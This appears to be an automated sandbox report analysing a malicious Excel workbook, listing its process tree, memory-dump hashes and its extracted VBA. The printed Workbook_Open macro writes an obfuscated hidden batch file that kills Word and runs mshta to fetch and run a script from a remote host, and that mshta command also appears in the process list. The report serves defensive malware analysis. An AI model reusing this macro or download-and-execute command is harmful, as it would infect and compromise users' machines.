2022-08-16 09:05:51 UTC	76	IN	Data Raw: 63 6f 6e 73 74 20 62 3d 73 2b 27 74 72 61 6e 73 6c 61 74 65 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 27 3b 20 63 6f 6e 73 74 20 73 74 61 74 69 63 50 61 74 68 20 3d 20 27 2f 74 72 61 6e 73 6c 61 74 65 5f 73 74 61 74 69 63 2f 27 3b 20 63 2e 5f 70 63 69 3d 62 2b 73 74 61 74 69 63 50 61 74 68 2b 27 69 6d 67 2f 74 65 5f 63 74 72 6c 33 2e 67 69 66 27 3b 20 63 2e 5f 70 6d 69 3d 62 2b 73 74 61 74 69 63 50 61 74 68 2b 27 69 6d 67 2f 6d 69 6e 69 5f 67 6f 6f 67 6c 65 2e 70 6e 67 27 3b 20 63 2e 5f 70 62 69 3d 62 2b 73 74 61 74 69 63 50 61 74 68 2b 27 69 6d 67 2f 74 65 5f 62 6b 2e 67 69 66 27 3b 20 63 2e 5f 70 6c 69 3d 62 2b 73 74 61 74 69 63 50 61 74 68 2b 27 69 6d 67 2f 6c 6f 61 64 69 6e 67 2e 67 69 66 27 3b 20 63 2e 5f 70 73 3d 62 2b 73 74 61 74 69 63 50 61 74 Data Ascii: const b=s+'translate.googleapis.com'; const staticPath = '/translate_static/'; c._pci=b+staticPath+'img/te_ctrl3.gif'; c._pmi=b+staticPath+'img/mini_google.png'; c._pbi=b+staticPath+'img/te_bk.gif'; c._pli=b+staticPath+'img/loading.gif'; c._ps=b+staticPat
2022-08-16 09:05:51 UTC	76	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	11:05:30
Start date:	16/08/2022
Path:	C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE" /automation -Embedding
Imagebase:	0x120000
File size:	27110184 bytes
MD5 hash:	5D6638F2C8F8571C593999C58866007E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Target ID:	2
Start time:	11:05:34
Start date:	16/08/2022
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /c ping -n 8 127.0.0.1 & %public%\Outlook.bat exit
Imagebase:	0x1190000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Target ID:	3
Start time:	11:05:34
Start date:	16/08/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff647620000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Target ID:	4
Start time:	11:05:36
Start date:	16/08/2022
Path:	C:\Windows\SysWOW64\PING.EXE
Wow64 process (32bit):	true
Commandline:	ping -n 8 127.0.0.1
Imagebase:	0xb60000
File size:	18944 bytes
MD5 hash:	70C24A306F768936563ABDADB9CA9108
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Target ID:	7
Start time:	11:05:44
Start date:	16/08/2022
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /c start /min taskkill /f /im WINWORD.EXE
Imagebase:	0x1190000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Target ID:	8
Start time:	11:05:44
Start date:	16/08/2022
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /f /im WINWORD.EXE
Imagebase:	0x910000
File size:	74752 bytes
MD5 hash:	15E2E0ACD891510C6268CB8899F2A1A1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Target ID:	9
Start time:	11:05:46
Start date:	16/08/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff647620000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Target ID:	10
Start time:	11:05:46
Start date:	16/08/2022
Path:	C:\Windows\SysWOW64\mshta.exe
Wow64 process (32bit):	true
Commandline:	mshta http://facextrade.com.br/wp-includes/certificates/4.txt
Imagebase:	0x1070000
File size:	13312 bytes
MD5 hash:	7083239CE743FDB68DFC933B7308E80A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

VBA Code

Call Graph

Graph

Entrypoint
Decryption Function
Executed
Not Executed
Show Help

Module: EstaPastaDeTrabalho

Declaration

Line	Content
1	Attribute VB_Name = "EstaPastaDeTrabalho"
2	Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
3	Attribute VB_GlobalNameSpace = False
4	Attribute VB_Creatable = False
5	Attribute VB_PredeclaredId = True
6	Attribute VB_Exposed = True
7	Attribute VB_TemplateDerived = False
8	Attribute VB_Customizable = True

Non-Executed Functions

Subroutine
Workbook_OpenAPIs: 4, Strings: 12, Number of lines: 23, Relevance: 29.773

APIs	Meta Information
Environ
Open
Shell$
vbLf

Strings	Decrypted Strings
"Public"
"call getCmdPid.bat"
"set PID=%errorlevel%"
"call windowMode.bat -pid %PID% -mode hidden"
"cd C:\Users\Public"
"@echo off"
"Set ao8=TSkEhx6qZpCHJMOGRvfbn4wQaPBANVXWz8jcIKrtlYymiod3L2sU7eF105gu9D"
"cls"
"%ao8:~35,1%%ao8:~43,1%%ao8:~46,1% /%ao8:~35,1% %ao8:~50,1%%ao8:~39,1%%ao8:~24,1%%ao8:~38,1%%ao8:~39,1% /%ao8:~43,1%%ao8:~44,1%%ao8:~20,1% %ao8:~39,1%%ao8:~24,1%%ao8:~50,1%%ao8:~2,1%%ao8:~2,1%%ao8:~44,1%%ao8:~40,1%%ao8:~40,1% /%ao8:~18,1% /%ao8:~44,1%%ao8:~43,1% %ao8:~31,1%%ao8:~36,1%%ao8:~28,1%%ao8:~31,1%%ao8:~14,1%%ao8:~16,1%%ao8:~61,1%.%ao8:~3,1%%ao8:~30,1%%ao8:~3,1% & %ao8:~43,1%%ao8:~50,1%%ao8:~4,1%%ao8:~39,1%%ao8:~24,1% %ao8:~4,1%%ao8:~39,1%%ao8:~39,1%%ao8:~9,1%://%ao8:~18,1%%ao8:~24,1%%ao8:~35,1%%ao8:~53,1%%ao8:~5,1%%ao8:~39,1%%ao8:~38,1%%ao8:~24,1%%ao8:~46,1%%ao8:~53,1%.%ao8:~35,1%%ao8:~45,1%%ao8:~43,1%.%ao8:~19,1%%ao8:~38,1%/%ao8:~22,1%%ao8:~9,1%-%ao8:~44,1%%ao8:~20,1%%ao8:~35,1%%ao8:~40,1%%ao8:~59,1%%ao8:~46,1%%ao8:~53,1%%ao8:~50,1%/%ao8:~35,1%%ao8:~53,1%%ao8:~38,1%%ao8:~39,1%%ao8:~44,1%%ao8:~18,1%%ao8:~44,1%%ao8:~35,1%%ao8:~24,1%%ao8:~39,1%%ao8:~53,1%%ao8:~50,1%/%ao8:~21,1%.%ao8:~39,1%%ao8:~5,1%%ao8:~39,1%"
" </ul>"
" </ul>"
"cmd /c ping -n 8 127.0.0.1 & %public%\Outlook.bat exit"

Line	Instruction	Meta Information
9	Private Sub Workbook_Open()
10	Dim iStage as Integer
11	Dim iCounter as Integer
12	Dim iPage as Integer
13	Dim sFile as String
14	sFile = Environ("Public") & "\Outlook.bat"	Environ
16	Close
17	Open sFile For Output As # 1	Open
18	Print # 1, "call getCmdPid.bat"
19	Print # 1, "set PID=%errorlevel%"
20	Print # 1, "call windowMode.bat -pid %PID% -mode hidden"
21	Print # 1, "cd C:\Users\Public"
22	Print # 1, "@echo off"
23	Print # 1, "Set ao8=TSkEhx6qZpCHJMOGRvfbn4wQaPBANVXWz8jcIKrtlYymiod3L2sU7eF105gu9D"
24	Print # 1, "cls"
25	Print # 1, "%ao8:~35,1%%ao8:~43,1%%ao8:~46,1% /%ao8:~35,1% %ao8:~50,1%%ao8:~39,1%%ao8:~24,1%%ao8:~38,1%%ao8:~39,1% /%ao8:~43,1%%ao8:~44,1%%ao8:~20,1% %ao8:~39,1%%ao8:~24,1%%ao8:~50,1%%ao8:~2,1%%ao8:~2,1%%ao8:~44,1%%ao8:~40,1%%ao8:~40,1% /%ao8:~18,1% /%ao8:~44,1%%ao8:~43,1% %ao8:~31,1%%ao8:~36,1%%ao8:~28,1%%ao8:~31,1%%ao8:~14,1%%ao8:~16,1%%ao8:~61,1%.%ao8:~3,1%%ao8:~30,1%%ao8:~3,1% & %ao8:~43,1%%ao8:~50,1%%ao8:~4,1%%ao8:~39,1%%ao8:~24,1% %ao8:~4,1%%ao8:~39,1%%ao8:~39,1%%ao8:~9,1%://%ao8:~18,1%%ao8:~24,1%%ao8:~35,1%%ao8:~53,1%%ao8:~5,1%%ao8:~39,1%%ao8:~38,1%%ao8:~24,1%%ao8:~46,1%%ao8:~53,1%.%ao8:~35,1%%ao8:~45,1%%ao8:~43,1%.%ao8:~19,1%%ao8:~38,1%/%ao8:~22,1%%ao8:~9,1%-%ao8:~44,1%%ao8:~20,1%%ao8:~35,1%%ao8:~40,1%%ao8:~59,1%%ao8:~46,1%%ao8:~53,1%%ao8:~50,1%/%ao8:~35,1%%ao8:~53,1%%ao8:~38,1%%ao8:~39,1%%ao8:~44,1%%ao8:~18,1%%ao8:~44,1%%ao8:~35,1%%ao8:~24,1%%ao8:~39,1%%ao8:~53,1%%ao8:~50,1%/%ao8:~21,1%.%ao8:~39,1%%ao8:~5,1%%ao8:~39,1%"
30	For iCounter = 2 To iStage
31	Print # 1, " </ul>"
32	iStage = iStage - 1
33	Next iCounter
33	Shell$ "cmd /c ping -n 8 127.0.0.1 & %public%\Outlook.bat exit" & vbLf, 0	Shell$ vbLf
40	Close
43	End Sub

Module: Planilha1

Declaration

Line	Content
1	Attribute VB_Name = "Planilha1"
2	Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
3	Attribute VB_GlobalNameSpace = False
4	Attribute VB_Creatable = False
5	Attribute VB_PredeclaredId = True
6	Attribute VB_Exposed = True
7	Attribute VB_TemplateDerived = False
8	Attribute VB_Customizable = True

Reset < >

Analysis Process: mshta.exePID: 5520, Parent PID: 5596COMMON

Executed Functions

Function 07810052 Relevance: 3.1, Instructions: 3129COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.517319212.0000000007810000.00000010.00000800.00020000.00000000.sdmp, Offset: 07810000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7810000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0440dac5ae6220b6d569f9304bde419267600368834646b12d1e2550aea2093c
Instruction ID: 4e6b3996a30923dbb03e682c2f4ab375463861ca1c138354db48514fa51c5e7a
Opcode Fuzzy Hash: 0440dac5ae6220b6d569f9304bde419267600368834646b12d1e2550aea2093c
Instruction Fuzzy Hash: 8633E1F0B14219DFEB24CF58C985BBAB3A9BFA5314F058559E946EB280C770EC81CB51

Uniqueness

Uniqueness Score: -1.00%

Function 07817445 Relevance: 1.4, Strings: 1, Instructions: 134COMMON

Download Yara Rule

Strings

!U, xrefs: 07817552

Memory Dump Source

Source File: 0000000A.00000002.517319212.0000000007810000.00000010.00000800.00020000.00000000.sdmp, Offset: 07810000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7810000_mshta.jbxd

Similarity

API ID:
String ID: !U
API String ID: 0-3595018855
Opcode ID: 453a420d94ab1b19e50f1770442100cbbc52066d93b8a880a65a4a3c29ec1023
Instruction ID: 733ee80dfdc8b80ff6446795be9f09f142ba62952462ac8f254aa0c4ec9bd953
Opcode Fuzzy Hash: 453a420d94ab1b19e50f1770442100cbbc52066d93b8a880a65a4a3c29ec1023
Instruction Fuzzy Hash: 87519DB07002029FEB20CF48C981BA9B7E9EF98314F14806DE95ADB781D371EC81CB91

Uniqueness

Uniqueness Score: -1.00%

Function 07CF80F8 Relevance: .9, Instructions: 874COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.521260561.0000000007CF0000.00000010.00000800.00020000.00000000.sdmp, Offset: 07CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7cf0000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ca6062f23e76c23f98148bae018f89fbbf1c9410d7a35ab93effc1a82ba0c5a0
Instruction ID: 972de12aae1b1caf90cfa9aeb97a6141ba326410d68d1b880e90407b828c1274
Opcode Fuzzy Hash: ca6062f23e76c23f98148bae018f89fbbf1c9410d7a35ab93effc1a82ba0c5a0
Instruction Fuzzy Hash: 4B62D0F0A50316EBDFA08F55C9C4BBAB3E5AF46314F15855AEE05AB240C370ED81CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 07CF915E Relevance: .8, Instructions: 807COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.521260561.0000000007CF0000.00000010.00000800.00020000.00000000.sdmp, Offset: 07CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7cf0000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b01ec65f1f221a9ee7e1349e6fc62c6038016941ca083f1a677374fb83ebbd16
Instruction ID: 39c68e1c81d6e1125ed4577e1f8ca6f41c1ea297744dc55e2ba916c906809b3c
Opcode Fuzzy Hash: b01ec65f1f221a9ee7e1349e6fc62c6038016941ca083f1a677374fb83ebbd16
Instruction Fuzzy Hash: D452C1F0A14301DFDFA48F65D9C4BA9B3E5AF46314F158159EA06EB281C3B1F981CB61

Uniqueness

Uniqueness Score: -1.00%

Function 07CF6778 Relevance: .6, Instructions: 616COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.521260561.0000000007CF0000.00000010.00000800.00020000.00000000.sdmp, Offset: 07CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7cf0000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ec5bce5e8a124cc02a03d7ff4efbf7617eded18c8340fcf28b17858357c31800
Instruction ID: 3d1621e4665cd3628d23666bd302f0f575d44bf8f5182909b891146732e9284c
Opcode Fuzzy Hash: ec5bce5e8a124cc02a03d7ff4efbf7617eded18c8340fcf28b17858357c31800
Instruction Fuzzy Hash: 74329CB0A14315DBDBA4CF65C984BAEBBB1FF4A300F158569EA55BB240C370AD80CB91

Uniqueness

Uniqueness Score: -1.00%

Function 07CF5800 Relevance: .4, Instructions: 428COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.521260561.0000000007CF0000.00000010.00000800.00020000.00000000.sdmp, Offset: 07CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7cf0000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 042555b6dd8e1d1e98d1d68e0a5aae57883592bc8102383f9ff8fdff2ff91cbd
Instruction ID: 1d79e35978061c8f5557eea5a9994206ddb9ee2ab008adeaa1fea0ae0cd2ce38
Opcode Fuzzy Hash: 042555b6dd8e1d1e98d1d68e0a5aae57883592bc8102383f9ff8fdff2ff91cbd
Instruction Fuzzy Hash: 7EF113F1B103019FDBA8CF58E988BBDB3A5AF85310F15415AEF56AB240C770ADA1CB51

Uniqueness

Uniqueness Score: -1.00%

Function 0781426C Relevance: .2, Instructions: 203COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.517319212.0000000007810000.00000010.00000800.00020000.00000000.sdmp, Offset: 07810000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7810000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 25b2dc9758ec05f8ad7e560e9814271025e288e85bb491131f6c3b0e66b28415
Instruction ID: 8cd14e831b7c87847e8741e6314a527ddc89bd92c29e6e2a5342f465a82e14cd
Opcode Fuzzy Hash: 25b2dc9758ec05f8ad7e560e9814271025e288e85bb491131f6c3b0e66b28415
Instruction Fuzzy Hash: 486127F1A043856BDB248FA4A9D4FADB7EDAF6A358F144119EE0EE7340C77198808761

Uniqueness

Uniqueness Score: -1.00%

Function 07CF1A00 Relevance: .1, Instructions: 141COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.521260561.0000000007CF0000.00000010.00000800.00020000.00000000.sdmp, Offset: 07CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7cf0000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c81736d331d6bacbb6c53656a69d8d22cbf9406646611cd735d49b9ece91a017
Instruction ID: 2fe26b1f8f02858ab926663262cbd7c582d66f3a0103748516515a5910015854
Opcode Fuzzy Hash: c81736d331d6bacbb6c53656a69d8d22cbf9406646611cd735d49b9ece91a017
Instruction Fuzzy Hash: 3B51F0F1B04245EFDB60CF59C885BA9B7E5EF46320F198548EE589B381D370E851CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 07818A87 Relevance: .1, Instructions: 129COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.517319212.0000000007810000.00000010.00000800.00020000.00000000.sdmp, Offset: 07810000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7810000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a7ec8fb85c983551aeae97d498c52e42ac2d6b3c72c2b0fa0aaf6beb60daea16
Instruction ID: a0796d3e7d76723fd37a73a0195609630ec03f0df6321573a95714162b3c0c6d
Opcode Fuzzy Hash: a7ec8fb85c983551aeae97d498c52e42ac2d6b3c72c2b0fa0aaf6beb60daea16
Instruction Fuzzy Hash: CF419DF0A00305AFD760CF94C9CAFA9B3A9BFAA324F154545E945EB251C370E891CB62

Uniqueness

Uniqueness Score: -1.00%

Function 07CF54EF Relevance: .1, Instructions: 119COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.521260561.0000000007CF0000.00000010.00000800.00020000.00000000.sdmp, Offset: 07CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7cf0000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0d06d712000b1405c9ad89921db55268ac2813c56bfb4ce498b4acf7b23640e9
Instruction ID: f837447c68489a745854fc283f9e2166c0517d6d33ad0c9e9eece588aabdf55f
Opcode Fuzzy Hash: 0d06d712000b1405c9ad89921db55268ac2813c56bfb4ce498b4acf7b23640e9
Instruction Fuzzy Hash: E741E2B1B10305DFDBA4CF95E9C4AAAB7E5FF49204F10812AEB06AB240D770D961CB61

Uniqueness

Uniqueness Score: -1.00%

Function 07CFB800 Relevance: .1, Instructions: 99COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.521260561.0000000007CF0000.00000010.00000800.00020000.00000000.sdmp, Offset: 07CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7cf0000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 14ef8bb87c602052c7b23e0e13021959743705b7d8e37c9a49d0a86bcda53b7a
Instruction ID: be567953fdfe2a2a47604a78699a4d37d75579fef2b05c95cea518be0cd7a071
Opcode Fuzzy Hash: 14ef8bb87c602052c7b23e0e13021959743705b7d8e37c9a49d0a86bcda53b7a
Instruction Fuzzy Hash: 5A31E0F07042059BDB54CF68C982BA9B7A4EF8A324F048558EE699B391D331ED51CB91

Uniqueness

Uniqueness Score: -1.00%

Function 07CFBA00 Relevance: .1, Instructions: 82COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.521260561.0000000007CF0000.00000010.00000800.00020000.00000000.sdmp, Offset: 07CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7cf0000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 12532c7c303c91ef404c4c4e5e06626e169224ca0e90c5715d0938cd102035f1
Instruction ID: f0c12ca955cd6c06fa908c94e65e7839438602fbfa8934780c4ec4e5083ad85b
Opcode Fuzzy Hash: 12532c7c303c91ef404c4c4e5e06626e169224ca0e90c5715d0938cd102035f1
Instruction Fuzzy Hash: D8210FF0300205AFDB44CF68C9C1AAAB3D1EF49724F108558EA69DB381D771ED42CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 0781719B Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.517319212.0000000007810000.00000010.00000800.00020000.00000000.sdmp, Offset: 07810000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7810000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f2a7615a298d9167b4d040ce9e423ec30ade30eee1048c8c32cc5a746cc6d9a4
Instruction ID: 8060fcf6d63a42661984fea6fef813316e07882534c56ff8280af9f9d32dbb80
Opcode Fuzzy Hash: f2a7615a298d9167b4d040ce9e423ec30ade30eee1048c8c32cc5a746cc6d9a4
Instruction Fuzzy Hash: 80F05EB17052448FDB128F4CAC81AA9B7E4FB55299F1181AEE958CB212D771C915CB81

Uniqueness

Uniqueness Score: -1.00%

Function 0A370FB7 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000003.309567195.000000000A370000.00000010.00000800.00020000.00000000.sdmp, Offset: 0A370000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_3_a370000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f6937b0f6e4796e53302bfaf4f5259f35123f2f05f922ce79dad98c0efd1a1dc
Instruction ID: 5a3b5fb704a07cc2291bbd063c5ba1fc68b71b27ce406664270898e72cddc646
Opcode Fuzzy Hash: f6937b0f6e4796e53302bfaf4f5259f35123f2f05f922ce79dad98c0efd1a1dc
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 0A370FAF Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000003.309567195.000000000A370000.00000010.00000800.00020000.00000000.sdmp, Offset: 0A370000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_3_a370000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f6937b0f6e4796e53302bfaf4f5259f35123f2f05f922ce79dad98c0efd1a1dc
Instruction ID: 5a3b5fb704a07cc2291bbd063c5ba1fc68b71b27ce406664270898e72cddc646
Opcode Fuzzy Hash: f6937b0f6e4796e53302bfaf4f5259f35123f2f05f922ce79dad98c0efd1a1dc
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 0A370FD7 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000003.309567195.000000000A370000.00000010.00000800.00020000.00000000.sdmp, Offset: 0A370000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_3_a370000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f6937b0f6e4796e53302bfaf4f5259f35123f2f05f922ce79dad98c0efd1a1dc
Instruction ID: 5a3b5fb704a07cc2291bbd063c5ba1fc68b71b27ce406664270898e72cddc646
Opcode Fuzzy Hash: f6937b0f6e4796e53302bfaf4f5259f35123f2f05f922ce79dad98c0efd1a1dc
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 0A370FCF Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000003.309567195.000000000A370000.00000010.00000800.00020000.00000000.sdmp, Offset: 0A370000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_3_a370000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f6937b0f6e4796e53302bfaf4f5259f35123f2f05f922ce79dad98c0efd1a1dc
Instruction ID: 5a3b5fb704a07cc2291bbd063c5ba1fc68b71b27ce406664270898e72cddc646
Opcode Fuzzy Hash: f6937b0f6e4796e53302bfaf4f5259f35123f2f05f922ce79dad98c0efd1a1dc
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 0E640FC7 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000003.337111348.000000000E640000.00000010.00000800.00020000.00000000.sdmp, Offset: 0E640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_3_e640000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3f0c7ada9f97049e94b5a3b009dc851e18c92a16d03b77f27e0fa18a9adcb566
Instruction ID: 34685466bed56b8533d594e3b371f2ce4902190f84c2d31093b1a95c18b0b195
Opcode Fuzzy Hash: 3f0c7ada9f97049e94b5a3b009dc851e18c92a16d03b77f27e0fa18a9adcb566
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 0E640FAF Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000003.337111348.000000000E640000.00000010.00000800.00020000.00000000.sdmp, Offset: 0E640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_3_e640000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3f0c7ada9f97049e94b5a3b009dc851e18c92a16d03b77f27e0fa18a9adcb566
Instruction ID: 34685466bed56b8533d594e3b371f2ce4902190f84c2d31093b1a95c18b0b195
Opcode Fuzzy Hash: 3f0c7ada9f97049e94b5a3b009dc851e18c92a16d03b77f27e0fa18a9adcb566
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 0E640FB7 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000003.337111348.000000000E640000.00000010.00000800.00020000.00000000.sdmp, Offset: 0E640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_3_e640000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3f0c7ada9f97049e94b5a3b009dc851e18c92a16d03b77f27e0fa18a9adcb566
Instruction ID: 34685466bed56b8533d594e3b371f2ce4902190f84c2d31093b1a95c18b0b195
Opcode Fuzzy Hash: 3f0c7ada9f97049e94b5a3b009dc851e18c92a16d03b77f27e0fa18a9adcb566
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 0E640FBF Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000003.337111348.000000000E640000.00000010.00000800.00020000.00000000.sdmp, Offset: 0E640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_3_e640000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3f0c7ada9f97049e94b5a3b009dc851e18c92a16d03b77f27e0fa18a9adcb566
Instruction ID: 34685466bed56b8533d594e3b371f2ce4902190f84c2d31093b1a95c18b0b195
Opcode Fuzzy Hash: 3f0c7ada9f97049e94b5a3b009dc851e18c92a16d03b77f27e0fa18a9adcb566
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 007F0FDF Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000003.432291330.00000000007F0000.00000010.00000800.00020000.00000000.sdmp, Offset: 007F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_3_7f0000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cbebcb7641d6dd959061102dba4fb45bccaa93f69790a5bf6f5692b71942eee3
Instruction ID: b19f750ab9fde58a2bf33b4a7fdc6306e2409d4a6603ce57dd5186325eaf8b42
Opcode Fuzzy Hash: cbebcb7641d6dd959061102dba4fb45bccaa93f69790a5bf6f5692b71942eee3
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 007F0FD7 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000003.432291330.00000000007F0000.00000010.00000800.00020000.00000000.sdmp, Offset: 007F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_3_7f0000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cbebcb7641d6dd959061102dba4fb45bccaa93f69790a5bf6f5692b71942eee3
Instruction ID: b19f750ab9fde58a2bf33b4a7fdc6306e2409d4a6603ce57dd5186325eaf8b42
Opcode Fuzzy Hash: cbebcb7641d6dd959061102dba4fb45bccaa93f69790a5bf6f5692b71942eee3
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 007F0FCF Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000003.432291330.00000000007F0000.00000010.00000800.00020000.00000000.sdmp, Offset: 007F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_3_7f0000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
